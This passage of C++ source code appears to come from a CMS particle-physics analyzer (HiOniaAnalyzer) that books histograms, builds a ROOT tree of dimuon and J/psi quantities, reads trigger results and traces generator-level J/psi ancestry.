(muType==0) {\n myRecoGlbMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoGlbMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoGlbMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n else if (muType==1) {\n myRecoTrkMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoTrkMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoTrkMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n }\n\n trigBits += pow(2,iTr-1);\n\n if (iTr==1) nL1DoubleMuOpenMuons++;\n if (iTr==3) nL2DoubleMu3Muons++;\n if (iTr==6) nL3Mu12Muons++;\n }\n }\n if (_fillTree)\n this->fillTreeMuon(muon, muType, trigBits);\n }\n }\n }\n \n hGoodMuonsNoTrig->Fill(nGoodMuonsNoTrig);\n hGoodMuons->Fill(nGoodMuons);\n hL1DoubleMuOpen->Fill(nL1DoubleMuOpenMuons);\n hL2DoubleMu3->Fill(nL2DoubleMu3Muons);\n hL3Mu12->Fill(nL3Mu12Muons);\n\n return;\n}\n\nvoid\nHiOniaAnalyzer::InitTree()\n{\n Reco_mu_4mom = new TClonesArray(\"TLorentzVector\", 100);\n Reco_mu_3vec = new TClonesArray(\"TVector3\", 100);\n Reco_QQ_4mom = new TClonesArray(\"TLorentzVector\",10);\n Reco_QQ_mupl_4mom = new TClonesArray(\"TLorentzVector\",10);\n Reco_QQ_mumi_4mom = new TClonesArray(\"TLorentzVector\",10);\n Reco_trk_4mom = new TClonesArray(\"TLorentzVector\", 100);\n\n Reco_QQ_vtx = new TClonesArray(\"TVector3\", 100);\n Reco_trk_vtx = new TClonesArray(\"TVector3\", 100);\n\n if (_isMC) {\n Gen_mu_4mom = new TClonesArray(\"TLorentzVector\", 2);\n Gen_mu_3vec = new TClonesArray(\"TVector3\", 2);\n Gen_QQ_4mom = new TClonesArray(\"TLorentzVector\", 2);\n Gen_QQ_mupl_4mom = new TClonesArray(\"TLorentzVector\", 2);\n Gen_QQ_mumi_4mom = new TClonesArray(\"TLorentzVector\", 2);\n }\n\n myTree = new TTree(\"myTree\",\"My TTree of dimuons\");\n \n myTree->Branch(\"eventNb\", &eventNb, \"eventNb/i\");\n myTree->Branch(\"runNb\", &runNb, \"runNb/i\");\n myTree->Branch(\"LS\", &lumiSection, \"LS/i\"); \n myTree->Branch(\"zVtx\", &zVtx, \"zVtx/F\"); \n myTree->Branch(\"HLTriggers\", &HLTriggers, \"HLTriggers/I\");\n myTree->Branch(\"Centrality\", &centBin, \"Centrality/I\");\n\n myTree->Branch(\"Npix\",&Npix,\"Npix/I\");\n myTree->Branch(\"NpixelTracks\",&NpixelTracks,\"NpixelTracks/I\");\n myTree->Branch(\"Ntracks\", &Ntracks, \"Ntracks/I\");\n myTree->Branch(\"SumET_HF\",&SumET_HF,\"SumET_HF/F\");\n myTree->Branch(\"SumET_HFplus\",&SumET_HFplus,\"SumET_HFplus/F\");\n myTree->Branch(\"SumET_HFminus\",&SumET_HFminus,\"SumET_HFminus/F\");\n myTree->Branch(\"SumET_HFplusEta4\",&SumET_HFplusEta4,\"SumET_HFplusEta4/F\");\n myTree->Branch(\"SumET_HFminusEta4\",&SumET_HFminusEta4,\"SumET_HFminusEta4/F\");\n myTree->Branch(\"SumET_ET\",&SumET_ET,\"SumET_ET/F\");\n myTree->Branch(\"SumET_EE\",&SumET_EE,\"SumET_EE/F\");\n myTree->Branch(\"SumET_EB\",&SumET_EB,\"SumET_EB/F\");\n myTree->Branch(\"SumET_EEplus\",&SumET_EEplus,\"SumET_EEplus/F\");\n myTree->Branch(\"SumET_EEminus\",&SumET_EEminus,\"SumET_EEminus/F\");\n myTree->Branch(\"SumET_ZDC\",&SumET_ZDC,\"SumET_ZDC/F\");\n myTree->Branch(\"SumET_ZDCplus\",&SumET_ZDCplus,\"SumET_ZDCplus/F\");\n myTree->Branch(\"SumET_ZDCminus\",&SumET_ZDCminus,\"SumET_ZDCminus/F\");\n\n if (_isHI) {\n myTree->Branch(\"nEP\", &nEP, \"nEP/I\");\n myTree->Branch(\"nNfEP\", &nNfEP, \"nNfEP/I\");\n myTree->Branch(\"rpAng\", &rpAng, \"rpAng[nEP]/F\");\n myTree->Branch(\"rpSin\", &rpSin, \"rpSin[nEP]/F\");\n myTree->Branch(\"rpCos\", &rpCos, \"rpCos[nEP]/F\");\n myTree->Branch(\"NfRpAng\", &NfRpAng, \"NfRpAng[nNfEP]/F\");\n myTree->Branch(\"NfRpSin\", &NfRpSin, \"NfRpSin[nNfEP]/F\");\n myTree->Branch(\"NfRpCos\", &NfRpCos, \"NfRpCos[nNfEP]/F\");\n }\n\n myTree->Branch(\"Reco_QQ_size\", &Reco_QQ_size, \"Reco_QQ_size/I\");\n myTree->Branch(\"Reco_QQ_type\", Reco_QQ_type, \"Reco_QQ_type[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_sign\", Reco_QQ_sign, \"Reco_QQ_sign[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_4mom\", \"TClonesArray\", &Reco_QQ_4mom, 32000, 0);\n myTree->Branch(\"Reco_QQ_mupl_4mom\", \"TClonesArray\", &Reco_QQ_mupl_4mom, 32000, 0);\n myTree->Branch(\"Reco_QQ_mumi_4mom\", \"TClonesArray\", &Reco_QQ_mumi_4mom, 32000, 0);\n myTree->Branch(\"Reco_QQ_trig\", Reco_QQ_trig, \"Reco_QQ_trig[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_ctau\", Reco_QQ_ctau, \"Reco_QQ_ctau[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_ctauErr\", Reco_QQ_ctauErr, \"Reco_QQ_ctauErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_ctauTrue\", Reco_QQ_ctauTrue, \"Reco_QQ_ctauTrue[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_VtxProb\", Reco_QQ_VtxProb, \"Reco_QQ_VtxProb[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_dca\", Reco_QQ_dca, \"Reco_QQ_dca[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_MassErr\", Reco_QQ_MassErr, \"Reco_QQ_MassErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_vtx\", \"TClonesArray\", &Reco_QQ_vtx, 32000, 0);\n\n myTree->Branch(\"Reco_QQ_NtrkPt02\", Reco_QQ_NtrkPt02, \"Reco_QQ_NtrkPt02[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_NtrkPt03\", Reco_QQ_NtrkPt03, \"Reco_QQ_NtrkPt03[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_NtrkPt04\", Reco_QQ_NtrkPt04, \"Reco_QQ_NtrkPt04[Reco_QQ_size]/I\");\n\n myTree->Branch(\"Reco_QQ_NtrkDeltaR03\", Reco_QQ_NtrkDeltaR03, \"Reco_QQ_NtrkDeltaR03[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_NtrkDeltaR04\", Reco_QQ_NtrkDeltaR04, \"Reco_QQ_NtrkDeltaR04[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_NtrkDeltaR05\", Reco_QQ_NtrkDeltaR05, \"Reco_QQ_NtrkDeltaR05[Reco_QQ_size]/I\");\n\n if (!_theMinimumFlag) {\n myTree->Branch(\"Reco_QQ_mupl_TrkMuArb\", Reco_QQ_mupl_TrkMuArb, \"Reco_QQ_mupl_TrkMuArb[Reco_QQ_size]/O\");\n myTree->Branch(\"Reco_QQ_mumi_TrkMuArb\", Reco_QQ_mumi_TrkMuArb, \"Reco_QQ_mumi_TrkMuArb[Reco_QQ_size]/O\");\n myTree->Branch(\"Reco_QQ_mupl_TMOneStaTight\", Reco_QQ_mupl_TMOneStaTight, \"Reco_QQ_mupl_TMOneStaTight[Reco_QQ_size]/O\");\n myTree->Branch(\"Reco_QQ_mumi_TMOneStaTight\", Reco_QQ_mumi_TMOneStaTight, \"Reco_QQ_mumi_TMOneStaTight[Reco_QQ_size]/O\");\n myTree->Branch(\"Reco_QQ_mupl_nMuValHits\", Reco_QQ_mupl_nMuValHits, \"Reco_QQ_mupl_nMuValHits[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mumi_nMuValHits\", Reco_QQ_mumi_nMuValHits, \"Reco_QQ_mumi_nMuValHits[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mupl_nTrkHits\",Reco_QQ_mupl_nTrkHits, \"Reco_QQ_mupl_nTrkHits[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mumi_nTrkHits\",Reco_QQ_mumi_nTrkHits, \"Reco_QQ_mumi_nTrkHits[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mupl_normChi2_inner\",Reco_QQ_mupl_normChi2_inner, \"Reco_QQ_mupl_normChi2_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_normChi2_inner\",Reco_QQ_mumi_normChi2_inner, \"Reco_QQ_mumi_normChi2_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_normChi2_global\",Reco_QQ_mupl_normChi2_global, \"Reco_QQ_mupl_normChi2_global[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_normChi2_global\",Reco_QQ_mumi_normChi2_global, \"Reco_QQ_mumi_normChi2_global[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_nPixWMea\",Reco_QQ_mupl_nPixWMea, \"Reco_QQ_mupl_nPixWMea[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mumi_nPixWMea\",Reco_QQ_mumi_nPixWMea, \"Reco_QQ_mumi_nPixWMea[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mupl_nTrkWMea\",Reco_QQ_mupl_nTrkWMea, \"Reco_QQ_mupl_nTrkWMea[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mumi_nTrkWMea\",Reco_QQ_mumi_nTrkWMea, \"Reco_QQ_mumi_nTrkWMea[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mupl_StationsMatched\",Reco_QQ_mupl_StationsMatched, \"Reco_QQ_mupl_StationsMatched[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mumi_StationsMatched\",Reco_QQ_mumi_StationsMatched, \"Reco_QQ_mumi_StationsMatched[Reco_QQ_size]/I\");\n myTree->Branch(\"Reco_QQ_mupl_dxy\",Reco_QQ_mupl_dxy, \"Reco_QQ_mupl_dxy[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_dxy\",Reco_QQ_mumi_dxy, \"Reco_QQ_mumi_dxy[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_dxyErr\",Reco_QQ_mupl_dxyErr, \"Reco_QQ_mupl_dxyErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_dxyErr\",Reco_QQ_mumi_dxyErr, \"Reco_QQ_mumi_dxyErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_dz\",Reco_QQ_mupl_dz, \"Reco_QQ_mupl_dz[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_dz\",Reco_QQ_mumi_dz, \"Reco_QQ_mumi_dz[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_dzErr\",Reco_QQ_mupl_dzErr, \"Reco_QQ_mupl_dzErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_dzErr\",Reco_QQ_mumi_dzErr, \"Reco_QQ_mumi_dzErr[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_pt_inner\",Reco_QQ_mupl_pt_inner, \"Reco_QQ_mupl_pt_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_pt_inner\",Reco_QQ_mumi_pt_inner, \"Reco_QQ_mumi_pt_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_pt_global\",Reco_QQ_mupl_pt_global, \"Reco_QQ_mupl_pt_global[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_pt_global\",Reco_QQ_mumi_pt_global, \"Reco_QQ_mumi_pt_global[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_ptErr_inner\",Reco_QQ_mupl_ptErr_inner, \"Reco_QQ_mupl_ptErr_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_ptErr_inner\",Reco_QQ_mumi_ptErr_inner, \"Reco_QQ_mumi_ptErr_inner[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mupl_ptErr_global\",Reco_QQ_mupl_ptErr_global, \"Reco_QQ_mupl_ptErr_global[Reco_QQ_size]/F\");\n myTree->Branch(\"Reco_QQ_mumi_ptErr_global\",Reco_QQ_mumi_ptErr_global, \"Reco_QQ_mumi_ptErr_global[Reco_QQ_size]/F\");\n }\n\n myTree->Branch(\"Reco_mu_size\", &Reco_mu_size, \"Reco_mu_size/I\");\n myTree->Branch(\"Reco_mu_type\", Reco_mu_type, \"Reco_mu_type[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_charge\", Reco_mu_charge, \"Reco_mu_charge[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_4mom\", \"TClonesArray\", &Reco_mu_4mom, 32000, 0);\n // myTree->Branch(\"Reco_mu_3vec\", \"TClonesArray\", &Reco_mu_3vec, 32000, 0);\n myTree->Branch(\"Reco_mu_trig\", Reco_mu_trig, \"Reco_mu_trig[Reco_mu_size]/I\");\n\n if (_fillRecoTracks) {\n myTree->Branch(\"Reco_trk_size\", &Reco_trk_size, \"Reco_trk_size/I\");\n myTree->Branch(\"Reco_trk_charge\", Reco_trk_charge, \"Reco_trk_charge[Reco_trk_size]/I\");\n myTree->Branch(\"Reco_trk_4mom\", \"TClonesArray\", &Reco_trk_4mom, 32000, 0);\n myTree->Branch(\"Reco_trk_vtx\", \"TClonesArray\", &Reco_trk_vtx, 32000, 0);\n myTree->Branch(\"Reco_trk_dxyError\", Reco_trk_dxyError, \"Reco_trk_dxyError[Reco_trk_size]/F\");\n myTree->Branch(\"Reco_trk_dzError\", Reco_trk_dzError, \"Reco_trk_dzError[Reco_trk_size]/F\");\n }\n\n if (!_theMinimumFlag) {\n myTree->Branch(\"Reco_mu_TrkMuArb\", Reco_mu_TrkMuArb, \"Reco_mu_TrkMuArb[Reco_mu_size]/O\");\n myTree->Branch(\"Reco_mu_TMOneStaTight\", Reco_mu_TMOneStaTight, \"Reco_mu_TMOneStaTight[Reco_mu_size]/O\");\n myTree->Branch(\"Reco_mu_nMuValHits\", Reco_mu_nMuValHits, \"Reco_mu_nMuValHits[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_nTrkHits\",Reco_mu_nTrkHits, \"Reco_mu_nTrkHits[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_normChi2_inner\",Reco_mu_normChi2_inner, \"Reco_mu_normChi2_inner[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_normChi2_global\",Reco_mu_normChi2_global, \"Reco_mu_normChi2_global[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_nPixWMea\",Reco_mu_nPixWMea, \"Reco_mu_nPixWMea[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_nTrkWMea\",Reco_mu_nTrkWMea, \"Reco_mu_nTrkWMea[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_StationsMatched\",Reco_mu_StationsMatched, \"Reco_mu_StationsMatched[Reco_mu_size]/I\");\n myTree->Branch(\"Reco_mu_dxy\",Reco_mu_dxy, \"Reco_mu_dxy[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_dxyErr\",Reco_mu_dxyErr, \"Reco_mu_dxyErr[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_dz\",Reco_mu_dz, \"Reco_mu_dz[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_dzErr\",Reco_mu_dzErr, \"Reco_mu_dzErr[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_pt_inner\",Reco_mu_pt_inner, \"Reco_mu_pt_inner[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_pt_global\",Reco_mu_pt_global, \"Reco_mu_pt_global[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_ptErr_inner\",Reco_mu_ptErr_inner, \"Reco_mu_ptErr_inner[Reco_mu_size]/F\");\n myTree->Branch(\"Reco_mu_ptErr_global\",Reco_mu_ptErr_global, \"Reco_mu_ptErr_global[Reco_mu_size]/F\");\n }\n\n if (_isMC) {\n myTree->Branch(\"Gen_QQ_size\", &Gen_QQ_size, \"Gen_QQ_size/I\");\n myTree->Branch(\"Gen_QQ_type\", Gen_QQ_type, \"Gen_QQ_type[Gen_QQ_size]/I\");\n myTree->Branch(\"Gen_QQ_4mom\", \"TClonesArray\", &Gen_QQ_4mom, 32000, 0);\n myTree->Branch(\"Gen_QQ_momId\", Gen_QQ_momId, \"Gen_QQ_momId[Gen_QQ_size]/I\");\n myTree->Branch(\"Gen_QQ_ctau\", Gen_QQ_ctau, \"Gen_QQ_ctau[Gen_QQ_size]/F\");\n myTree->Branch(\"Gen_QQ_mupl_4mom\", \"TClonesArray\", &Gen_QQ_mupl_4mom, 32000, 0);\n myTree->Branch(\"Gen_QQ_mumi_4mom\", \"TClonesArray\", &Gen_QQ_mumi_4mom, 32000, 0);\n\n myTree->Branch(\"Gen_mu_size\", &Gen_mu_size, \"Gen_mu_size/I\");\n myTree->Branch(\"Gen_mu_type\", Gen_mu_type, \"Gen_mu_type[Gen_mu_size]/I\");\n myTree->Branch(\"Gen_mu_charge\", Gen_mu_charge, \"Gen_mu_charge[Gen_mu_size]/I\");\n myTree->Branch(\"Gen_mu_4mom\", \"TClonesArray\", &Gen_mu_4mom, 32000, 0);\n // myTree->Branch(\"Gen_mu_3vec\", \"TClonesArray\", &Gen_QQ_mumi_4mom, 32000, 0);\n }\n\n return;\n}\n\n// ------------ method called once each job just before starting event loop ------------\nvoid \nHiOniaAnalyzer::beginJob()\n{\n fOut = new TFile(_histfilename.c_str(), \"RECREATE\");\n InitTree();\n\n // book histos\n hGoodMuonsNoTrig = new TH1F(\"hGoodMuonsNoTrig\",\"hGoodMuonsNoTrig\",10,0,10);\n hGoodMuons = new TH1F(\"hGoodMuons\",\"hGoodMuons\",10,0,10);\n hL1DoubleMuOpen = new TH1F(\"hL1DoubleMuOpen\",\"hL1DoubleMuOpen\",10,0,10);\n hL2DoubleMu3 = new TH1F(\"hL1DoubleMu3\",\"hL2DoubleMu3\",10,0,10);\n hL3Mu12 = new TH1F(\"hL3Mu12\",\"hL3Mu12\",10,0,10);\n \n hGoodMuonsNoTrig->Sumw2();\n hGoodMuons->Sumw2();\n hL1DoubleMuOpen->Sumw2();\n hL2DoubleMu3->Sumw2();\n hL3Mu12->Sumw2();\n\n // muons\n if (_combineCategories) \n myRecoMuonHistos = new MyCommonHistoManager(\"RecoMuon\");\n else {\n myRecoGlbMuonHistos = new MyCommonHistoManager(\"GlobalMuon\");\n myRecoTrkMuonHistos = new MyCommonHistoManager(\"TrackerMuon\");\n }\n\n // J/psi\n if (_combineCategories)\n myRecoJpsiHistos = new MyCommonHistoManager(\"RecoJpsi\");\n else {\n myRecoJpsiGlbGlbHistos = new MyCommonHistoManager(\"GlbGlbJpsi\");\n myRecoJpsiGlbTrkHistos = new MyCommonHistoManager(\"GlbTrkJpsi\");\n myRecoJpsiTrkTrkHistos = new MyCommonHistoManager(\"TrkTrkJpsi\");\n }\n \n for (unsigned int i=0; i<theRegions.size(); ++i) {\n for (unsigned int j=0; j<NTRIGGERS; ++j) {\n for (unsigned int k=0; k<theCentralities.size(); ++k) {\n\n std::string theAppendix = theRegions.at(i) ;\n theAppendix += \"_\" + theTriggerNames.at(j);\n theAppendix += \"_\" + theCentralities.at(k);\n\n // muons\n if (_combineCategories) {\n myRecoMuonHistos->Add(theAppendix);\n myRecoMuonHistos->GetHistograms(theAppendix)->SetMassBinning(1,0.10,0.11);\n myRecoMuonHistos->GetHistograms(theAppendix)->SetPtBinning(200,0.0,100.0);\n }\n else {\n myRecoGlbMuonHistos->Add(theAppendix);\n myRecoTrkMuonHistos->Add(theAppendix);\n \n myRecoGlbMuonHistos->GetHistograms(theAppendix)->SetMassBinning(1,0.10,0.11);\n myRecoGlbMuonHistos->GetHistograms(theAppendix)->SetPtBinning(200,0.0,100.0);\n \n myRecoTrkMuonHistos->GetHistograms(theAppendix)->SetMassBinning(1,0.10,0.11);\n myRecoTrkMuonHistos->GetHistograms(theAppendix)->SetPtBinning(200,0.0,100.0);\n }\n\n for (unsigned int l=0; l<theSign.size(); ++l) {\n // J/psi\n if (_combineCategories)\n myRecoJpsiHistos->Add(theAppendix + \"_\" + theSign.at(l));\n else {\n myRecoJpsiGlbGlbHistos->Add(theAppendix + \"_\" + theSign.at(l));\n myRecoJpsiGlbTrkHistos->Add(theAppendix + \"_\" + theSign.at(l));\n myRecoJpsiTrkTrkHistos->Add(theAppendix + \"_\" + theSign.at(l));\n }\n }\n }\n }\n }\n\n if (_combineCategories)\n myRecoMuonHistos->Print();\n else\n myRecoGlbMuonHistos->Print();\n\n hStats = new TH1F(\"hStats\",\"hStats;;Number of Events\",2*NTRIGGERS+1,0,2*NTRIGGERS+1);\n hStats->GetXaxis()->SetBinLabel(1,\"All\");\n for (int i=2; i< (int) theTriggerNames.size()+1; ++i) {\n hStats->GetXaxis()->SetBinLabel(i,theTriggerNames.at(i-1).c_str()); // event info\n hStats->GetXaxis()->SetBinLabel(i+NTRIGGERS,theTriggerNames.at(i-1).c_str()); // muon pair info\n }\n hStats->Sumw2();\n\n hCent = new TH1F(\"hCent\",\"hCent;centrality bin;Number of Events\",100,0,100);\n hCent->Sumw2();\n\n hPileUp = new TH1F(\"hPileUp\",\"Number of Primary Vertices;n_{PV};counts\", 50, 0, 50);\n hPileUp->Sumw2();\n\n hZVtx = new TH1F(\"hZVtx\",\"Primary z-vertex distribution;z_{vtx} [cm];counts\", 120, -30, 30);\n hZVtx->Sumw2();\n\n return;\n}\n\nvoid \nHiOniaAnalyzer::beginRun(const edm::Run& iRun, const edm::EventSetup& iSetup) {\n //init HLTConfigProvider\n const std::string pro = _tagTriggerResults.process();\n bool changed = true;\n\n //bool init(const edm::Run& iRun, const edm::EventSetup& iSetup, const std::string& processName, bool& changed);\n hltConfigInit = false;\n if( hltConfig.init(iRun, iSetup, pro, changed) ) hltConfigInit = true;\n\n return;\n}\n\n// ------------ method called once each job just after ending the event loop ------------\nvoid \nHiOniaAnalyzer::endJob() {\n std::cout << \"Total number of events = \" << nEvents << std::endl;\n std::cout << \"Total number of passed candidates = \" << passedCandidates << std::endl;\n\n fOut->cd();\n hStats->Write();\n hCent->Write();\n hPileUp->Write();\n hZVtx->Write();\n\n if (_fillTree)\n myTree->Write();\n\n hGoodMuonsNoTrig->Write();\n hGoodMuons->Write();\n hL1DoubleMuOpen->Write();\n hL2DoubleMu3->Write();\n hL3Mu12->Write();\n\n if (_fillHistos) {\n // muons\n if (_combineCategories)\n myRecoGlbMuonHistos->Write(fOut);\n else {\n myRecoGlbMuonHistos->Write(fOut);\n myRecoTrkMuonHistos->Write(fOut);\n }\n\n // J/psi\n if (_combineCategories)\n myRecoJpsiHistos->Write(fOut);\n else {\n myRecoJpsiGlbGlbHistos->Write(fOut);\n myRecoJpsiGlbTrkHistos->Write(fOut);\n myRecoJpsiTrkTrkHistos->Write(fOut);\n }\n }\n\n return;\n}\n\nTLorentzVector\nHiOniaAnalyzer::lorentzMomentum(const reco::Candidate::LorentzVector& p) {\n TLorentzVector res;\n res.SetPtEtaPhiM(p.pt(), p.eta(), p.phi(), p.mass());\n\n return res;\n}\n\nvoid\nHiOniaAnalyzer::hltReport(const edm::Event &iEvent ,const edm::EventSetup& iSetup)\n{\n std::map<std::string, bool> mapTriggernameToTriggerFired;\n std::map<std::string, unsigned int> mapTriggernameToHLTbit;\n\n for(std::vector<std::string>::const_iterator it=theTriggerNames.begin(); it !=theTriggerNames.end(); ++it){\n mapTriggernameToTriggerFired[*it]=false;\n mapTriggernameToHLTbit[*it]=1000;\n }\n\n // HLTConfigProvider\n if ( hltConfigInit ) {\n //! Use HLTConfigProvider\n const unsigned int n= hltConfig.size();\n for (std::map<std::string, unsigned int>::iterator it = mapTriggernameToHLTbit.begin(); it != mapTriggernameToHLTbit.end(); it++) {\n unsigned int triggerIndex= hltConfig.triggerIndex( it->first );\n if (triggerIndex >= n) {\n // std::cout << \"[HiOniaAnalyzer::hltReport] --- TriggerName \" << it->first << \" not available in config!\" << std::endl;\n }\n else {\n it->second= triggerIndex;\n // std::cout << \"[HiOniaAnalyzer::hltReport] --- TriggerName \" << it->first << \" available in config!\" << std::endl;\n }\n }\n }\n \n // Get Trigger Results\n try {\n iEvent.getByLabel( _tagTriggerResults, collTriggerResults );\n // std::cout << \"[HiOniaAnalyzer::hltReport] --- J/psi TriggerResult is present in current event\" << std::endl;\n }\n catch(...) {\n // std::cout << \"[HiOniaAnalyzer::hltReport] --- J/psi TriggerResults NOT present in current event\" << std::endl;\n }\n if ( collTriggerResults.isValid() ){\n // std::cout << \"[HiOniaAnalyzer::hltReport] --- J/psi TriggerResults IS valid in current event\" << std::endl;\n \n // loop over Trigger Results to check if paths was fired\n for(std::vector< std::string >::iterator itHLTNames= theTriggerNames.begin(); itHLTNames != theTriggerNames.end(); itHLTNames++){\n const std::string triggerPathName = *itHLTNames;\n if ( mapTriggernameToHLTbit[triggerPathName] < 1000 ) {\n if (collTriggerResults->accept( mapTriggernameToHLTbit[triggerPathName] ) ){\n mapTriggerNameToIntFired_[triggerPathName] = 3;\n }\n\n //-------prescale factor------------\n /*\n if (!_isMC) {\n const std::pair<int,int> prescales(hltConfig.prescaleValues(iEvent,iSetup,triggerPathName));\n mapTriggerNameToPrescaleFac_[triggerPathName] = prescales.first * prescales.second;\n }\n */\n }\n }\n } else std::cout << \"[HiOniaAnalyzer::hltReport] --- TriggerResults NOT valid in current event\" << std::endl;\n\n return;\n}\n\nbool \nHiOniaAnalyzer::isAbHadron(int pdgID) {\n\n if (abs(pdgID) == 511 || abs(pdgID) == 521 || abs(pdgID) == 531 || abs(pdgID) == 5122) return true;\n return false;\n\n}\n\nbool \nHiOniaAnalyzer::isAMixedbHadron(int pdgID, int momPdgID) {\n\n if ((abs(pdgID) == 511 && abs(momPdgID) == 511 && pdgID*momPdgID < 0) || \n (abs(pdgID) == 531 && abs(momPdgID) == 531 && pdgID*momPdgID < 0)) \n return true;\n return false;\n\n}\n\nstd::pair<int, float> \nHiOniaAnalyzer::findGenMCInfo(const reco::GenParticle *genJpsi) {\n\n int momJpsiID = 0;\n float trueLife = -99.;\n\n if (genJpsi->numberOfMothers()>0) {\n TVector3 trueVtx(0.0,0.0,0.0);\n TVector3 trueP(0.0,0.0,0.0);\n TVector3 trueVtxMom(0.0,0.0,0.0);\n\n trueVtx.SetXYZ(genJpsi->vertex().x(),genJpsi->vertex().y(),genJpsi->vertex().z());\n trueP.SetXYZ(genJpsi->momentum().x(),genJpsi->momentum().y(),genJpsi->momentum().z());\n\t \n bool aBhadron = false;\n reco::GenParticleRef Jpsimom = genJpsi->motherRef(); // find mothers\n if (Jpsimom.isNull()) {\n std::pair<int, float> result = std::make_pair(momJpsiID, trueLife);\n return result;\n } else {\n reco::GenParticleRef Jpsigrandmom = Jpsimom->motherRef();\n if (isAbHadron(Jpsimom->pdgId())) {\n\tif (Jpsigrandmom.isNonnull() && isAMixedbHadron(Jpsimom->pdgId(),Jpsigrandmom->pdgId())) {\n\t momJpsiID = Jpsigrandmom->pdgId();\n\t trueVtxMom.SetXYZ(Jpsigrandmom->vertex().x(),Jpsigrandmom->vertex().y(),Jpsigrandmom->vertex().z());\n\t} else {\n\t momJpsiID = Jpsimom->pdgId();\n\t trueVtxMom.SetXYZ(Jpsimom->vertex().x(),Jpsimom->vertex().y(),Jpsimom->vertex().z());\n\t}\n\taBhadron = true;\n } else {\n\tif (Jpsigrandmom.isNonnull() && isAbHadron(Jpsigrandmom->pdgId())) {\n\t reco::GenParticleRef JpsiGrandgrandmom = Jpsigrandmom->motherRef();\n\t if (JpsiGrandgrandmom.isNonnull() && isAMixedbHadron(Jpsigrandmom->pdgId(),JpsiGrandgrandmom->pdgId())) {\n\t momJpsiID = JpsiGrandgrandmom->pdgId();\n\t trueVtxMom.SetXYZ(JpsiGrandgrandmom->vertex().x(),JpsiGrandgrandmom->vertex().y(),JpsiGrandgrandmom->vertex().z());\n\t } else {\n\t momJpsiID = Jpsigrandmom->pdgId();\n\t trueVtxMom.SetXYZ(Jpsigrandmom->vertex().x(),Jpsigrandmom->vertex().y(),Jpsigrandmom->vertex().z());\n\t }\n\t aBhadron = true;\n\t}\n }\n if (!aBhadron) {\n\tmomJpsiID = Jpsimom->pdgId();\n\ttrueVtxMom.SetXYZ(Jpsimom->vertex().x(),Jpsimom->vertex().y(),Jpsimom->vertex().z()); \n }\n } \n\n TVector3 vdiff = trueVtx - trueVtxMom;\n trueLife = vdiff.Perp()*3.096916/trueP.Perp();\n }\n\n std::pair<int, float> result = std::make_pair(momJpsiID, trueLife);\n return result;\n\n}\n\n\n//define this as a plug-in\nDEFINE_FWK_MODULE(HiOniaAnalyzer);\n" }, { "alpha_fraction": 0.6135221719741821, 